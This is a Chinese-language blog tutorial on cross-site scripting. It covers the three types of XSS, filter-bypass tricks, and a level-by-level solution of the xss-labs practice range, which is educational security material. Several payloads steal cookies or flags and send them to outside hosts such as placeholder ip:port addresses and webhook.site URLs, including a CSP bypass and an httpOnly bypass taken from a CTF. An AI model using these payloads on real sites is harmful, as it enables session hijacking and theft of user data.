XSS

Last updated on September 27, 2024 am

XSS平台

XSS基础

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

能够让我们输入的前端代码在页面中显示时,就会起作用

1
2
3
4
5
6
7
8
9
10
<form>
Name:<input name="name">
</form>

<?php
if(isset($_GET['name'])){
echo "Name:".$_GET['name'];
}

?>

查看页面源码,可以看到插入的代码在页面中显示出来

三种XSS漏洞

最终目的都是使插入的js代码能够显示在html页面

反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

存储型XSS

存储型XSS漏洞与反射型XSS相比,不需要控制请求参数,只需把XSSpayload存入数据库里,下次再访问时让程序从数据库来取出来展示即可。最常见例子是留言板,如果每个网站的留言板没有做过滤,直接把用户输入的内容原样记录下来,那么其他任何访问到这个网站的用户都会触发这个漏洞,执行到XSSpayload中的代码。

DOM型XSS

DOM型XSS漏洞算是反射型漏洞的一种,开发者将用户的输入作为JS或者HTML代码给执行了。

例如

1
2
var name=document.URL.indexOf("name=")+5;
document.write(decodeURL(document.URL.substring(name,document.URL.length)));

代码会将name的值直接写到页面

XSS构造

script标签测试

1
<script>alert(1)</script>

不能直接插入script标签去进行XSS,则需要借助其他标签

1
2
3
4
5
6
7
8
9
10
11
12
13
<img src='xxxx' onerror='alert(1)'> #src随意写一个图片地址,则会触发onerror
<img src='xxxx' onload='alert(1)'> #资源加载时会被执行
<img src='xxxx' onmouseover='alert(1)'> #鼠标略过这个元素时会被执行
<img src='xxxx' onfocus='alert(1)'> #页面焦点聚集到这个元素时执行
窃取cookie的几种方式:
<script>new Image().src="http://ip:port/"+document.cookie</script> #获取cookie,
< img src=x onerror=window.open('http://ip:port/'+document.cookie)>
<script>document.location="http://ip:port?cookie="+encodeURIComponent(document.cookie)</script> #+很多时候要url编码
<linktype="text/css"href="http://[%YOUR_HOST%]/some_redirect"> #http还可以换成gopher协议进行ssrf
javascript伪协议
<a href=javascript:alert(1)>Link</a>
<a href=javascript://123alert(1)>Link</a>
window.location = 'javascript:alert(1)'

让访问者去访问指定的路径然后把访问结果带给webhook

1
fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t)) #/flag是指定的路径

一些payload可以直接用hackbar生成

内容安全策略限制时,<script src=url>,url只能是指定的url

1
<meta http-equiv="Content-Security-Policy" content="script-src https://hcaptcha.com https://*.hcaptcha.com https://pastebin.com">

<script src=>https://pastebin.com为跳板窃取cookie:

  • https://pastebin.comlocation='https://webhook.site/116a7075-66f8-41d3-8eb8-7c47d3710343/?cookie='+document.cookie
  • <script src=https://pastebin.com/dl/EgJQ6Nqj>

xss靶场wp

xss-labs/level1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
1
2
3
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
这里name直接作为参数放到html标签中,没有做任何的过滤和检查,存在明显的 XSS 漏洞。
1
2
3
4
5
6
window.alert = function()  
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
重写alert,当触发alert时会通关

exp:name=<script>alert('aaa')</script>

xss-labs/level2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

两处html标签直接用到了参数内容,但有一处被转义了

只能借用<input>标签"><script>alert(1)</script>"

xss-lab/level3.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars($str)对参数进行了html转义,所以不能含有<>

可以使用onfocus配合javascript 伪协议来执行javascript 代码onfocus=javascript:alert(),之后要点击一些文本框

1
2
'onfocus=javascript:alert() '
<input name=keyword value='' onfocus=javascript:alert() ''>

使用onmouseover='alert()'来构成xss,鼠标要移动到文本框

1
<input name=keyword  value=''onmouseover='alert()'>	

xss-lab/level4.php

1
2
"onfocus=javascript:alert() "
<input name=keyword value=""onfocus=javascript:alert() "">

xss-lab/level5.php

1
2
3
4
5
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

script,on都被过滤,借助href

1
2
"><a href=javascript:alert()>hhh</a>"
<input name=keyword value=""><a href=javascript:alert()>hhh</a>"">

xss-lab/level6.php

1
2
3
4
5
6
7
8
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

没有转小写,可以大写绕过

1
2
"Onfocus=javascript:alert() 
<input name=keyword value=""Onfocus=javascript:alert() ">

xss-lab/level7.php

1
2
3
4
5
6
7
8
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
1
2
3
双写绕过
"Oonnfocus=javascript:alert()
<input name=keyword value=""onfocus=java:alert() ">

xss-lab/level8.php

1
2
3
4
5
6
7
8
9
10
11
12
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
1
2
3
编码绕过
href有属性自动Unicode解码,如果注入点再href中,可以进行unicode编码
将javascript:alert()进行unicode编码:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

xss-lab/level9.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);


if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
1
2
3
必须含有http://, 还要编码绕过
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;'http://')

xss-lab/level10.php

1
2
3
4
5
6
7
8
9
10
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
1
2
3
过滤了 <  >  ,keyword被html转义,结果还被隐藏
源码可以看到t_sort有XSS漏洞
t_sort="onfocus=javascript:alert() type="text""

xss-lab/level11.php

1
2
3
4
5
6
7
8
9
10
11
12
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">

注入点在referer,可以通过bp抓包修改

1
Referer:"onfocus=javascript:alert() type="text""

xss-lab/level12.php

查看源码,发现注入点在user-agent,通过bp抓包修改

1
User-Agent:"onfocus=javascript:alert() type="text""

xss-lab/level13.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

cookie作为注入点,bp抓包修改cookie

1
Cookie:"onfocus=javascript:alert() type="text""

xss-lab/level14.php

Exif xss

Exif 可交换图像文件格式,是专门为数码相机的照片设定的,可记录数码照片的属性信息和拍摄数据。

有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发payload

例如网站EXIF Data Viewer

14关用的网站是http://ww1.exifviewer.org/ ,没有梯子是访问不了的,可以换成EXIF Data Viewer

这样就可以exif xss

将上面的图片上传即可触发

xss-lab/level15.php

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

注入点在参数src

ng-include 其作用相当于php的include函数。

1
2
3
4
5
6
7
特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别
1
src='level1.php?name=<img src=2 onerror=alert()>'

xss-lab/level16.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
1
2
3
<img src=2 onerror=alert()> 基本不含以上过滤的关键字
url空格可以用%0a代替
keyword=<img%0asrc=2%0aonerror=alert()>

xss-lab/level17.php

1
2
3
4
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>

<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可能可以利用

不知为何swf文件并没有引入

没有引号闭合,按道理是在第二个参数前面加一个空格和src 分隔开

1
?arg01=a&arg02= onmouseover=alert(1)

应该对的,但是结果没有alert()

xss-lab/level18.php

只是换了个插件,其他同17关

xss-lab/level19.php

xss-lab/level20.php

19,20有双引号闭合,而且用了htmlspecialchars(),对字符进行实体转义,还是flash插件的xss,太复杂不会

一些XSS技巧

<script>alert(1)</script>

若<>被转义,则寻找为被转义的注入点

都被转义,可以使用onfocus配合javascript 伪协议来执行javascript 代码onfocus=javascript:alert()或者onmouseover='alert()'

on 被转义,可以大写绕过On,或借助<a>标签<a href=javascript:alert()>hhh</a>

以上被过滤,可以用<img src=2 onerror=alert()>

href有属性自动Unicode解码,如果注入点再href中,可以进行unicode编码

要求含有某些字符,可以将字符放在alert里边

exif xss 一般就是将文件详细信息修改成xss语句上传

ng-include 可以配合scr onerror 'level1.php?name=<img src=2 onerror=alert()>'

空格绕过

1
2
<svg/onload=alert(123)>
<svg%0conload=alert(123)>

/绕过

1
window.location.href.substring(7,8)

httpOnly 绕过

具有httponly属性的cookie不能被JavaScript 修改,例如使用Document.cookie,只能在服务器上修改

https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

httpOnly 使得cookie不能够通过document.cookie等直接获取

一般是通过让服务器自己输出cookie,然后再把cookie发出来

例子

1
2
3
4
5
6
7
8
9
<svg%0conload=fetch(window.location.href.substring(0,7)%2b"idek-hello.chal.idek.team:1337"%2bwindow.location.href.substring(6,7)%2b"info.php"%2bwindow.location.href.substring(6,7)%2b"index.php").then(function(response){
response.text().then(function(txt){
txt.split('\n').forEach(function(line){
if(line.indexOf("FLAG")!=-1){
fetch("https:"%2bwindow.location.href.substring(5,7)%2b"webhook.site"%2bwindow.location.href.substring(6,7)%2b"b7aa3086-6e7d-47a3-aba4-83a7ac8dc26f?resp="%2bline)
}
})
})
})>

参考资料

https://ctf-wiki.org/web/xss/

https://github.com/do0dl3/xss-labs


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/01/25/XSS/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!